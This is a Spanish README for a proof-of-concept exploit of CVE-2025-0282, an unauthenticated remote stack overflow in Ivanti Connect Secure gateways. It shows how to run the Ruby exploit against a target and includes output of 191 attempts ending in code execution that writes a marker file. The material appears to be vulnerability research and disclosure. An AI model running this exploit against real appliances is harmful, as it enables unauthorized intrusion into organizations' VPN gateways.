
PoC para CVE-2025-0282: Un desbordamiento de búfer basado en pila, remoto y no autenticado, que afecta a Ivanti Connect Secure, Ivanti Policy Secure e Ivanti Neurons for ZTA gateways.
Un desbordamiento de búfer remoto no autenticado basado en pila que afecta a Ivanti Connect Secure, Ivanti Policy Secure y las puertas de enlace Ivanti Neurons para ZTA
Este es un exploit de prueba de concepto para demostrar la explotación de CVE-2025-0282, y se basa en la estrategia de explotación publicada por watchTowr.
Este PoC tiene una cadena ROP construida para atacar Ivanti Connect Secure 22.7r2.4. Ninguna otra versión puede ser atacada sin antes construir la cadena ROP correspondiente para esa versión.
Este PoC tiene una carga útil que ejecutará un comando del sistema operativo para crear un archivo temporal en el sistema objetivo. Así es como sabrás que el exploit ha tenido éxito. La ejecución de código se logra con los privilegios del usuario no root nr.
Podemos ejecutar este script contra un objetivo Ivanti Connect Secure vulnerable, versión 22.7r2.4, de la siguiente manera:
C:\Users\sfewer\Desktop\CVE-2025-0282>ruby CVE-2025-0282.rb -t 192.168.86.111 -p 443
[+] Targeting 192.168.86.111:443
[+] Detected version 22.7.2.3597
[2025-01-16 14:39:56 +0000] Starting...
[2025-01-16 14:39:56 +0000] Triggering #1...
[2025-01-16 14:39:57 +0000] Triggering #2...
[2025-01-16 14:40:08 +0000] Triggering #3...
[2025-01-16 14:40:19 +0000] Triggering #4...
[2025-01-16 14:40:30 +0000] Triggering #5...
...snip...
[2025-01-16 15:13:28 +0000] Triggering #188...
[2025-01-16 15:13:38 +0000] Triggering #189...
[2025-01-16 15:13:49 +0000] Triggering #190...
[2025-01-16 15:14:00 +0000] Triggering #191...
Si el exploit tiene éxito, escribirá un nuevo archivo en el directorio temporal /var/tmp/, con un valor numérico correspondiente a la iteración del intento de explotación como parte del nombre del archivo.
En un shell root separado en el dispositivo objetivo (que establecimos al hacer jailbreak al appliance), podemos observar cuándo el exploit ha tenido éxito:
bash-4.2# ls -al /var/tmp/hax*
ls -al /var/tmp/hax*
ls: cannot access /var/tmp/hax*: No such file or directory
bash-4.2# ls -al /var/tmp/hax*
ls -al /var/tmp/hax*
-rw-r--r-- 1 nr nr 0 Jan 16 07:10 /var/tmp/haxor_191
bash-4.2#
Podemos ver en este ejemplo que el exploit realizó 190 intentos fallidos y tuvo éxito en el intento número 191. Por lo tanto, en este ejemplo, la explotación de este objetivo tuvo éxito en 34 minutos.